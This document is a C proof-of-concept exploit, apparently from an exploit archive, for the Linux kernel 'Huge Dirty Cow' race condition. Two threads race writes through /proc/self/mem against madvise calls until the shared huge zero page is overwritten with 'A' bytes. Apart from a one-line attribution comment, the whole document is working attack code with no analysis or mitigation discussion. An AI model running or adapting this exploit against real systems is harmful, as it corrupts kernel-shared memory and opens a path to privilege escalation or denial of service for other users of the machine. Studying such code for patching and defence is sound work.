Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (2)

/*
 * The code is modified from https://www.exploit-db.com/exploits/43199/
 */
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sched.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>

#define TRIES_PER_PAGE (20000000)
#define PAGE_SIZE (0x1000)
#define MEMESET_VAL (0x41)
#define MAP_SIZE (0x200000)
#define STRING "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
#define OFFSIZE ((sizeof(STRING)-1)/sizeof(char))

struct args{
  int fd;
  void *p;
  int stop;
  off_t off;
  char *chp;
};

void *write_thread(struct args *arg) {
  for (int i = 0; i < TRIES_PER_PAGE && !arg->stop; i++) {
    lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
    write(arg->fd, STRING, sizeof(STRING));
    lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
  }
  return NULL;
}

void *wait_for_success(struct args *arg) {
  while(*(arg->chp+arg->off*OFFSIZE) != 'A') {
    int i = madvise(arg->p, MAP_SIZE, MADV_DONTNEED);
    sched_yield();
  }
  arg->stop = 1;
  return NULL;
}

int main(void) {
  struct args arg;

  arg.off = 0;
  
  arg.p =  mmap((void*)0x40000000, MAP_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  
  if(arg.p == MAP_FAILED)
    perror("[!] mmap()");
  arg.chp = arg.p;
  printf("mmap address is %p\n", arg.p);
  madvise(arg.p, MAP_SIZE, MADV_HUGEPAGE);

  arg.fd = open("/proc/self/mem", O_RDWR);
  if (arg.fd < 0) {
    perror("[!] open()");
    return 1;
  }
  
  
  while(arg.off < PAGE_SIZE/sizeof(STRING)) {
    arg.stop = 0;
    pthread_t thread0, thread1;
    int ret = pthread_create(&thread0, NULL, (void *)wait_for_success, &arg);
    ret |= pthread_create(&thread1, NULL, (void *)write_thread, &arg);
    
    if (ret) {
      perror("[!] pthread_create()");
      return 1;
    }
    
    pthread_join(thread0, NULL);
    pthread_join(thread1, NULL); 
   
    printf("[*] Done 0x%x String\n", arg.off);
    arg.off++;
  }
  printf("[*] Overwrite a page\n");
  printf("%s\n", arg.p);
  return 0;
}